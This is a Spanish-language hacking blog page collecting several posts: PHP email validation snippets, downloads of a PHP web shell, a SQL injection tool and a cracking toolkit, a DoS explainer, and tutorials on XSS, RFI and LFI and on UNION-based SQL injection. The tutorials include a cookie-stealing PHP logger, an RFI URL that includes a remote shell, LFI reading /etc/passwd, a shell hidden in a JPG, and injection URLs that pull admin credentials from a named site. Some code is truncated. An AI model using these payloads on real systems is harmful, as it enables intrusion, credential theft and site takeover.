Recent News

Mostrando las entradas con la etiqueta haxs. Mostrar todas las entradas
Mostrando las entradas con la etiqueta haxs. Mostrar todas las entradas

Validacion de un formulario Email

Por: el-brujo

Fuente Original: Aqui

Validar e-mail:
Código
function verify_email($email){
 
    if(!preg_match('/^[_A-z0-9-]+((\.|\+)[_A-z0-9-]+)*@[A-z0-9-]+(\.[A-z0-9-]+)*(\.[A-z]{2,4})$/',$email)){
        return false;
    } else {
        return $email;
    }
}
 
Código
   function EmailValidation($email)
   {
   $email = htmlspecialchars(stripslashes(strip_tags($email))); //parse unnecessary characters to prevent exploits
   if ( eregi ( '[a-z||0-9]@[a-z||0-9].[a-z]', $email ) )
   { //checks to make sure the email address is in a valid format
   $domain = explode( "@", $email ); //get the domain name
   if ( @fsockopen ($domain[1],80,$errno,$errstr,3))
   {
   //if the connection can be established, the email address is probably valid
   return true;
   } else
   {
   return false; //if a connection cannot be established return false
   }
   return false; //if email address is an invalid format return false
   }
   }

Código
function validar_email($email) {
 
list($local, $domain) = explode("@", $email);
 
$pattern_local = '^([0-9a-z]*([-|_]?[0-9a-z]+)*)(([-|_]?)\.([-|_]?)[0-9a-z]*([-|_]?[0-9a-z]+)+)*([-|_]?)$';
$pattern_domain = '^([0-9a-z]+([-]?[0-9a-z]+)*)(([-]?)\.([-]?)[0-9a-z]*([-]?[0-9a-z]+)+)*\.[a-z]{2,4}$';
 
$match_local = eregi($pattern_local, $local);
$match_domain = eregi($pattern_domain, $domain);
 
if ($match_local && $match_domain) {
return 1;
} else {
return 0;
}
}
En PHP 5:

Se añade la funcionalidad de filter_var

Código
if(filter_var("prueba@dominio.com", FILTER_VALIDATE_EMAIL)){
echo "Ok";
} else {
echo "Error";
}
Usando filter _var y comprobando que tenga un punto el dominio con una expresión regular:

Código
function validateEmailAddress($email) {
   return filter_var($email, FILTER_VALIDATE_EMAIL) && preg_match('/@.+\./', $email);
}
Ejemplo Wordpress (usando expresiones regulares)

Código
   function is_email($email) {
    if( strlen( $email ) < 3 ){
     return false;
    }
    if( strpos( $email, '@', 1 ) === false ){
     return false;
    }
    list( $local, $domain ) = explode( '@', $Valor, 2 );
    if( !preg_match( '/^[a-zA-Z0-9!#$%&\'*+\/=?^_`{|}~\.-]+$/', $local ) ){
     return false;
    }
    if( preg_match( '/\.{2,}/', $domain ) ){
     return false;
    }
     if( trim( $domain, " \t\n\r\0\x0B." ) !== $domain ){
     return false;
    }
     $subs = explode( '.', $domain );
     if( 2 > count( $subs ) ){
     return false;
    }
    foreach ( $subs as $sub ) {
     if( trim( $sub, " \t\n\r\0\x0B-" ) !== $sub ){
      return false;
     }
     if( !preg_match('/^[a-z0-9-]+$/i', $sub ) ){
      return false;
     }
    }
    return true;
   }

Verificar e-mail mirando registro MX si es válido,  útil para separar nombre y dominio de un e-mail

Código
function verify_email_dns($email){
 
   // This will split the email into its front
   // and back (the domain) portions
   list($name, $domain) = explode('@',$email);
 
   if(!checkdnsrr($domain,'MX')){
 
       // No MX record found
       return false;
 
   } else {
 
       // MX record found, return email
       return $email;
 
   }
}

Código
$string = 'some_name@somedomain.com';
$res = explode('@', $string);
// array
echo $res[0];
$name = $res[0];
echo $name;

substr

Código
$mail = "some_name@somedomain.com";
echo substr($mail, 0, strpos($mail, '@') );
 
explode

Código
list($name, $domain) = explode('@', $mail);
echo $name;

 

30 Clones web (pack) Scripts php

Por: Graphixx



- Descripción:
Pack de 30 clones php de páginas web famosas.

    Digg.com_clone
    Facebook.com_clone
    hotornot-game
    millionsign.net_clone
    xlice.net_clone
    Yahoo_Answers_Clone
    adbux.com clone
    anonym.to clone
    bitefight.net clone
    ~censored~ clone
    ebay.com clone script
    freedomain.co.nr clone
    google.com Search Engine Clone
    hotscripts.com Clone
    ~Imageshack Doesnt Want PW users Hosting Images!~ Clone
    IP Chicken clone
    MeGA Cheat v1.1 clone
    myspace.com Clone
    Proxy clone
    Rapidsendit Clone.zip
    rapidshare.de Clone
    savefile.com Clone
    ~censored~ Clone
    uploadgalaxy.com clone
    whatismyip.com Clone
    Yolike.com
    xdrive.com Clone
    xlspread.com. clone
    yousendit.com Clone
    youtube.com Clone

Descarga:

http://www.mediafire.com/?ua3y72mey385e7q

Jackal shell

Jackal shell

http://img24.imageshack.us/img24/3923/shellh.jpg

Shell php de 99Kb

Link de descarga aqui.

Herramientas Cracking

Herramientas Cracking:
Fuente: SHNI


ANALIZADORES

RDG Packer Detector v0.6.5 * Imprescindible*
su página web es la siguiente:
http://www.rdgsoft.8k.com/
Arma FP (Detector para armadillo)

Nota: PEiD no lo pongo porque no es necesario.

DEBUGGERS / DISSASEMBLERS

OllyDBG v1.10 (final version)
OllySND (Search And Destroy, por Lisa&&Alquimista)* Imprescindible *
OllyShadow * Buenísimo
OllySND (Version Portable por Shaddy (7.76MB)* Semi-Imprescindible *
Inmmunity Debugger v1.0
Syser Debugger v1.93 (Ring 0)
iDA Pro v5.0.0.879

EDITORES PE / DUMPEADORES

PE Editor v1.7
PE Tools
Lord PE v1.4 (Edicion DeLuxe) * Imprescindible *

DECOMPILADORES

DeDe v3.50.04.1635 - * Delphi *

EDITORES DE RECURSOS

Resource Tuner v1.98
Restorator 2007 v3.70 1729 * Excelente *.

MISCELÁNEOS

Event To Adress (Guan de dio) Decompila archivo sin comprimir en Delphi y muestra las direcciones de cada Evento.
WinGestor
CrackersKit v2.0 (GRACIAS Carloswaldo )* Completo

PARCHEADORES

dUP 2 (Diablo's 2002) * Buenísimo *

REPARADOR DE TABLA IAT (Rebuilders)

Import Reconstructor v1.6 * Imprescindible *

Ataque Dos y DDos

¿Qué es un ataque DoS?

Un servidor (ordenador que aloja una página web o blog) está preparado para soportar un número máximo de conexiones simultaneas. Superado ese número de conexiones pueden pasar dos cosas, que el servidor no responda a más peticiones entrantes o que se desconecte de la red y por tanto quede sin conexión (off line).

De esta forma si un ordenador mal intencionado solicita un número suficiente de peticiones simultaneas puede llegar a saturar los puertos del servidor y provocar que éste deje de funcionar correctamente. Éste es el ataque DoS (Denial of Service) que se traduce como Denegación de Servicio ya que consigue que el servidor deje de prestar servicio a las nuevas peticiones, sean legítimas o no.

Ataque Dos denegación de servicio

Como se puede ver en la imagen el ordenador atacante satura al ordenador atacado (servidor) consumiendo sus recursos (ancho de banda, memoria RAM, etc.). De esta forma el atacante consigue que el servidor rechace las nuevas conexiones, es decir que los siguientes usuarios que intenten acceder, sean atacantes o no, serán rechazados y se les denegará el servicio (DoS).

También puede pasar que el consumo de recursos sea tan excesivo que el administrador del servidor desconecte el servidor de La Red hasta que termine el ataque o encuentre una forma de repelerlo.

Desconexion por Ataque DoS

De esta forma el servidor queda sin conexión (off line) y ninguna conexión es posible. Ahora es el momento de localizar la IP del ordenador atacante para impedirle el acceso al sistema e impedir el ataque DoS. Pero ¿que pasa cuando el ataque se realiza desde IP distintas y de forma sincronizada?

El ataque DDoS

Cuando el ataque es recibido desde un solo ordenador la defensa en principio es sencilla, consistiría en detectar la IP atacante y bloquear su acceso al servidor. Pero existe una variante del ataque DoS en la que el ataque es realizado desde distintos ordenadores que están localizados (distribuidos) en diferentes puntos. Éste es ataque DDoS (Distributed Denial of Service) que es una ampliación del ataque DoS y que se traduce como Denegación de Servicio Distribuida debido a que el ataque proviene de distintos puntos.

En este tipo de ataques suelen emplearse ordenadores zombies que son ordenadores infectados por un software que permite a un usuario remoto controlarlos. De esta forma es posible coordinar un ataque desde cientos o miles de ordenadores zombies de forma simultanea.

Ataque DDoS Zombies

El problema es el mismo que el anterior pero con el agravante de que el ataque suele ser mucho más fuerte y al ser distribuido la defensa es más compleja.

Como defendernos ante un ataque DDoS

Si recibes un ataque DDoS y tienes un alojamiento (hosting) compartido será tu proveedor quién tenga que hacer frente al ataque ya que tu no tendrás acceso al servidor atacado. En cambio si usas un servidor dedicado (y puede que también en uno virtual) tendrás que hacer uso de diversas herramientas de distinta complejidad pero todas ellas no aptas para el usuario medio. En elhacker.net tienes una lista de posibles defensas ante un ataque de este tipo, desconozco si son válidas pues jamás las implementé y espero no tener que hacerlo.

En cualquier caso esperemos al artículo prometido en Ataque de DDoS a Genbeta en el que nos informarán de las lecciones aprendidas durante el ataque. Seguro que podremos obtener buena información sobre qué hacer en estos casos. Saludos avinagrados.

SQL Injection Tool

Haxs:

Las fuentes de este Tool, son respetadas en todo momento:

SQL Injection Tool v1.0 BETA

Bueno, antes de nada decir que dudé bastante en publicar ésta herramienta por la inmensa facilidad con la que permite hacer inyecciones sql, pero como es beta aun, tiene muchos bugs, limitaciones y cosas que corregir pues la pongo para que me den recomendaciones y opiniones.

Nombre: SQL Injection Tool
Lenguaje Programación: VB.NET
Autor: Hacker_Zero

Descargar SQL Injection Tool

Password: http://www.eduhack.es

Es necesario tener instalado en vustro pc el Microsoft .Net Framework para ejecutar la aplicación. En caso de error, descargable desde AQUÍ


Que es SQL Injection Tool?

SQL Injection Tool es una herramienta que realiza inyecciones sql automáticamente a una web vulnerable, de una forma muy sencilla y totalmente gráfica.

Ejemplo de uso

Vamos a probar la herramienta con http://www.bullcariez.es/index1.php?id=1

Introducimos la url en el Campo y click en comprobar.



Nos dice que es vulnerable y se habilita un nuevo boton, el cual pulsamos y esperamos (esperamos, no vaya a petar que es beta xDD):



Cuando termine de cargar clicamos en users:



Clicamos en los campos que queramos ver:




Así de sencillo podemos obtener valores de una base de datos, y si tenemos mala fe, defacearla, aunque no hice ésta aplicación para eso, sinó para mostrar lo sencillo que puede ser inyectar consultas sql que comprometen la seguridad de muchas webs.


Limitaciones de ésta versión:

-Falla en algunos casos debido a comportamientos diferentes de lo esperado.
-Cuelgues o retrasos inesperados ante un retraso en la carga de la web.
-Hay que poner una url del tipo página.com/index.php?id=123.

Novedades para la siguiente versión:

-Funcional con muchos más casos de webs.
-Uso de dorks para buscar páginas vulnerables en google.
-AutoSearch para buscar variables vulnerables en una página.
-Optimización del código y arreglo de bugs.

Espero les sirva. Un saludo.
Fuente: :http://foro.eduhack.es/bugs-y-exploits-b7.0/

[Taller] XSS, RFI, LFI [Escencial]

Haxs, Manuales:

[Taller] XSS, RFI, LFI [Escencial]

XSS:

Muchos creen que xss no sirve para nada, pero el xss es una vulnerabilidad de rango muy alto osea , es muy peligrosa y yo creo que mas de un 70% de las webs tienen xss

Este ataque consiste en la ejecucion de codigo en el lado del cliente.

Voy a explicarlo de la manera mas entendible posible.

Explotanto bien una xss uno pordría hacerce son las cookies de algún usuario, (normalmente el admin) y ownear el sitio

Digamos que tenemos nuestra web: (ejemplo nada mas)

http://www.ejemplo.com/

Y en index.php la variable porno esta mal sanada y no se checkea...
Suponiendo esto nosotros seriamos capazes de poder ejecutar codigo del lado del cliente...





Y aca es donde dice alert, bueno eso es solo para testiar si es vulnerable

Ahora seguimos a lo interesante.Sonrisa

Como podriamos robarles las cookiesHuh

Sencillo, solo necesitamos redirigir a nuestra victima a un php code que guarde las cookies

Para eso necesitamos un hacked host o un servidor free que tenga phpSonrisa

Ahora montamos nuestro codigo de salvado de cookies...
Aca les Facilito uno:

Código: (php)
= fopen('log2.htm','a');

$cookie = $_GET['c'];

$ip = getenv ('REMOTE_ADDR');

$re = $HTTPREFERRER;

$fecha=date("j F, Y, g:i a");

fwrite($archivo, '
Cookie: '
.htmlentities($cookie).'
Pagina: '
.htmlentities($re));
fwrite($archivo, '
IP: '
.$ip. '
Fecha y Hora: '
.$fecha. '');

fclose($archivo);

?>

Bueno ahora , que ya tenemos nuestro code online en un sitio que nos permita subir un php y no nos comprometa mucho, digamos:

http://www.elpunto.com/cookies.php (ejemplo nada mas)

Y creado nuestro log2.htm donde se logearan las cookies robadasSonrisa
En el code php requiere de este archivo.

Compondremos la url para robar las cookies



Bueno, explicando un poco que es lo que se hizo ahí:

: Cerramos el tag script

Bueno hasta ahí ya tenemos una pequeña introduccion a el xss.



Pasemos a RFI y LFI:

Estos errores ya no son tan comunes.

Se llaman:

RFI : Remote File Inclusion
LFI : Local File Inclusion

Los dos iguales de peligrosos a la hora de medirlos, solo que uno es mas facil que el otro a la hora de explotar.

Veamos primero RFI

Supongamos que tenemos un php code parecido a este :

Código: (php)
=$_GET['reberto'];

include(
$reberto);

?>


En eso consiste el RFI , la variable no esta filtrada y se incluye entonces si nosotros tenemos ese code en nuestra web:

www.ejemplo.com/index.php

y nuestra variable reberto como ahi se ve esta mal sanada...

Fácilmente podriamos hacer un:

http://www.ejemplo.com/index.php?reberto=http://www.ejemplo2.com/shell.txt?

Donde en www.ejemplo2.com/shell.txt tengamos nuestra shell y asi sera incluida facilmente en la web y ya tenemos ahi una shell php.

Bastante sencillo.

Ahora pasemos al LFI , como explique anteriormente este ataque es un ataque un poquito mas complicado , pero sigue siendo facil con un poco de practica

Consiste en llamar archivos del mismo servidor.

Supongamos que tenemos un archivo vulnerable a LFI con este code:

Código: (php)

Que pasaria , bueno si yo intentara incluir un archivo remotoo del servidor no lo incluiria, pero si yo intentara incluir un archivo que este dentro el servidor si podria.

Ya todos conocemos el ejemplo.

http://www.ejemplo.com/index.php?reberto=../../../etc/passwd

Donde lo que se ahce es ir llendo por los directorios hasta encontrar el archivo passwd dentro de la carpeta /etc/

Como hago para conseguir shell ahora???

Lo que vamos a necesitar es :

- Una imagen JPG
- El programa EDJPGCOM
- Y un code de una shell

Ahora lo que hacemos con esos tres objetos es :
Arrastramos la imagen hasta el ejecutable EDJPGCOM.exe y ahi nos dara una ventanita ahi pondremos el code de la shell php
y guardamos , bueno de esa manera ya tenemos nuestra shell php en una imagen...

Ahora que hacemos mmmm que les parece hacer un reverse DNS a la web vulnerable a LFI.

Bueno ahora necesitamos un sitio que nos permita subir imagenes, y en www.norberto.com (ejemplo) se puedes subir imagenes Lengua

Entonces nosotros vamos y subimos una imagen ahi y la guarda en:

www.norberto.com/imagenes/shell.jpg

Ahora vamos y hacemos:

www.ejemplo.com/index.php?reberto=../etc/passwd
NADA
www.ejemplo.com/index.php?reberto=../../etc/passwd
NADA
www.ejemplo.com/index.php?reberto=../../../etc/passwd

Al fin: nos tira la lista de users :

root:0:0:root:/root:/bin/bash
reberto:33541:33541:xtremo:/home/xtremo:/bin/bash
xtremo:33542:33542:xtremo:/home/xtremo:/bin/bash
murder:33543:33543:murder:/home/murder:/bin/bash
ddlr:33544:33544:ddlr:/home/ddlr:/bin/bash
re:33545:33545:re:/home/re:/bin/bash
norberto:33546:33546:norberto:/home/norberto:/bin/bash

Ahora debemos adivinar el path de norberto que casi siempre es public_html/ ... suponiendo que sea ese nosotros ahora para incluir nuestra shell a ejemplo.com

tendriamos que hacer http://www.ejemplo.com/index.php?reberto=../../../home/norberto/public_html/imagenes/shell.jpg

Y ahora si , tendriamos un shell php montada , es muy util y funcion.Giñar

Editado: ohk
Fuente: el sobrino

Taller Inyección SQL

Haxs, Manual:

Taller Inyección SQL

Éste documento ha sido realizado con fines exclusivamente didácticos. Todos los ejemplos aquí posteados se realizaron en un servidor previamente preparado por el autor. Ni la web ni el autor se responsabilizan de otros usos que otros usuarios le puedan dar.

Empezamos

¿Que es una inyección SQL?

Pues muy fácil, una inyección SQL nos permite modificar el comportamiento de las consultas a la base de datos permitiendonos acceder a datos no públicos o modificar la base de datos a nuestro antojo.

Muchas veces se habla de que ésta és una técnica complicada, que es necesario aprender SQL. Ésto es falso, podemos inyectar código de una forma totalmente mecánica sin entender el porqué del fallo, lo que lo hace en una técnica peligrosa, aunque también hay técnicas de inyección SQL avanzadas.

Un poco de teoría

Aunque podríamos limitarnos aprender un proceso y utilizarlo mecanicamente sin entender nada, limitarnos a éso sería echar a perder una buena técnica, así que analizaremos el porque de los ataques de inyección SQL. Para ésta misión utilizaremos una base de datos de pruebas donde podremos practicar a nuestras anchas:

http://www.phpbuddy.com/

1- Averiguando si es vulnerable

Empezaremos por el Ejercicio nº 1. En éste caso, la variable id está mal depurada, aquí el código vulnerable:

Código: (sql)
$user = $_GET['id'];
(...)
$sql = mysql_query("SELECT * FROM `users` WHERE id=".$user) OR die (mysql_error());

¿Como lo sabemos si no podemos ver el codigo fuente? Pues usaremos valores verdaderos y falso para ver como responde. Si ejecutamos:

http://www.phpbuddy.com/article.php?id=1+and+1=1

La consulta se realizara como:

Código: (sql)
SELECT * FROM `users` WHERE id=1 AND 1=1

Y si ejecutamos:

http://www.phpbuddy.com/article.php?id=1+and+1=0

La consulta será:

Código: (sql)
SELECT * FROM `users` WHERE id=1 AND 1=0

Como 1 no es igual a 0, en éste último caso la consulta no se realizará, por lo que no aparecen los datos de la base de datos en los campos de la web. Vale sabemos que es vulnerable, y ahora qué?

Tenemos que tener claro nuestro propósito, obtener información de la base de datos, en éste caso el nombre de usuario y contraseña del administrador. Como la podemos obtener? Pues lo que haremos será realizar una consulta en la variable vulnerable para que nos muestre los datos que queremos.

2- Averiguar el número de Columnas

Lo primero que tenemos que hacer es averiguar el número de columnas que tiene la tabla para poder hacer nosotros consultas, para eso se utiliza order by:

http://www.phpbuddy.com/article.php?id=1+order+by+1

Como la tabla tiene más de 1 campo, se mostrará correctamente, seguimos:

http://www.phpbuddy.com/article.php?id=1+order+by+2

Y así hasta llegar a 7, que se producirá un error:

http://www.phpbuddy.com/article.php?id=1+order+by+7

Pues ya lo tenemos, tiene 6 campos, que fué él valor más alto que se mostró correctamente.


3- Haciendo nuestra consulta

Ahora que ya tenemos el número de columnas, 6, podemos hacer nuestra consulta:

http://www.phpbuddy.com/article.php?id=-1+union+select+1,2,3,4,5,6

Union: Se usa para combinar los resultados de varias sentencias SELECT.

Select: Nos permite consultar los datos almacenados en una tabla de la base de datos.

Luego ponemos las 6 columnas numerados del 1 al 6, lo que nos permitirá ver que campos se imprimen, los cuales nos permitirán a nosotros imprimir resultados. Vemos que los campos que se imprimen son 1,4,5,6. Que podemos hacer con ellos? Pues imprimir información, un ejemplo:

http://www.phpbuddy.com/article.php?id=-1+union+select+version(),2,3,database(),user(),connection_id()

version(): Devuelve la versión del servidor SQL.
database(): Devuelve el nombre de la base de datos.
user(): Devuelve el nombre de usuario conectado a la base de datos.
connection_id(): Devuelve el ID de una conexión. Cada conexión tiene su propio y único ID.

El 2 y el 3 no nos valen para imprimir resultados ya que no se muestran en pantalla.


4- Buscando nuestra tabla

Ahora que ya podemos imprimir lo que queramos en esos campos, buscaremos la tabla que contiene el usuario y contraseña de los usuarios. Para recorrer las tablas de una base de datos se utilizaremos lo siguiente:

http://www.phpbuddy.com/article.php?id=-1+union+select+table_name,2,3,4,5,6+from+information_schema.tables+limit+1,1

Al ejecutar eso, nos mostrará el nombre de una tabla, pero no es la que queremos. Para recorrer las tablas en busca de la tabla que nos interesa, aumentaremos progresivamente el limit. Por ejemplo para ver la siguiente tabla:
Taller Inyecciones SQL
http://www.phpbuddy.com/article.php?id=-1+union+select+table_name,2,3,4,5,6+from+information_schema.tables+limit+2,1

y la siguiente:

http://www.phpbuddy.com/article.php?id=-1+union+select+table_name,2,3,4,5,6+from+information_schema.tables+limit+3,1

Así continuamos hasta encontrar una que pueda contener lo que nosotros queremos, el usuario y contraseña del administrador. Traceamos hasta llegar al 17:

http://www.phpbuddy.com/article.php?id=-1+union+select+table_name,2,3,4,5,6+from+information_schema.tables+limit+17,1

Users, ésa parece ser la tabla donde se guarda esos datos ( podría haberse llamado también admin, access, o cualquier nombre sospechoso).


5- Buscando nuestras columnas

Ahora que ya tenemos la tabla, sólo nos queda saber que datos imprimir. Nosotros queremos el nombre de usuario y la contraseña, pero tenemos que saber como se llaman esas columnas para poderlas imprimir. Tracear columnas es similar a tracear tablas, se usa lo siguiente:


http://www.phpbuddy.com/article.php?id=-1+union+select+column_name,2,3,4,5,6+from+information_schema.columns+
where+table_name=char(NombreDeLaTablaEnAscii)+and+column_name+like+char(37,64,37)
En NombreDeLaTablaEnAscii irá el nombre de la tabla en código ascii separado por comas, aquí podemos ver las conversiones, luego subo un programa para hacer ésto de una forma más cómoda.

La inyección quedaría así:

http://www.phpbuddy.com/article.php?id=-1+union+select+column_name,2,3,4,5,6+from+
information_schema.columns+where+table_name=char(117,115,101,114,115)+and+column_name+like+char(37,64,37)

Oh, pero no se muestra nada! Tranquilo, ahora tenemos que ir traceando. Vamos aumentando el valor de 64 porgresivamente e iremos viendo diferentes nombres de columnas. Probemos con 65:

http://www.phpbuddy.com/article.php?id=-1+union+select+column_name,2,3,4,5,6+from+
information_schema.columns+where+table_name=char(117,115,101,114,115)+and+column_name+like+char(37,65,37)

Ah bien ya tenemos una de las columnas que buscabamos la que guarda el pass! Vale pues ahora a por la otra, la del usuario, seguimos traceando:

El 67 no nos muestra nada, el 68 nos muestra id que no nos interesa... 69 lo tenemos!

6- Imprimiendo los datos

Ya tenemos todo! Sabemos que tenemos que leer la columna Pass y la columna nombre de la tabla users, pues vamos a armar la inyección:

http://www.phpbuddy.com/article.php?id=-1+union+select+nombre,2,3,Pass,5,6+from+users

Bien ya está! Tenemos el nombre de usuario y contraseña del administrador! Bueno, pues aprovechamos que tenemos todo y sacamos la de otro user:

http://www.phpbuddy.com/article.php?id=-1+union+select+nombre,2,3,Pass,5,6+from+users+where+id=2

Ahí mandamos imprimir el nomre y pass de la tabla users donde el id es 2, el id del Admin suele ser 1, como es el primero se puede omitir y lo imprime igual.

Como sería para los demás users? Pues igual, solo cambiando el id.

Pues ésto fue todo por hoy, lo dejamos aquí de momento, aunque pronto actualizaré el post para poner más información de algunos comandos que hoy pasé así muy rápido.

Y aprovechad
http://www.phpbuddy.com/ para hacer pruebas, intentad sacar los users y pass vosotros solos, o provado cosas para ir cogiendo soltura.

Espero les haya servido de algo mi humilde aporte, si alguien con más experiencia quiere contribuír en éste taller ya sea poniendo más técnicas de inyección o programando nuevos niveles para practicar será bienvenido.

Editado por: ohk

Powered by:
Hacker_Zero
Fuente

Recent Comments | Recent Posts


Bloggerized by : GosuBlogger | designed by: Website Builder | Coded by: Blog Directory | Provided by: Wedding photojournalism chicago
bottom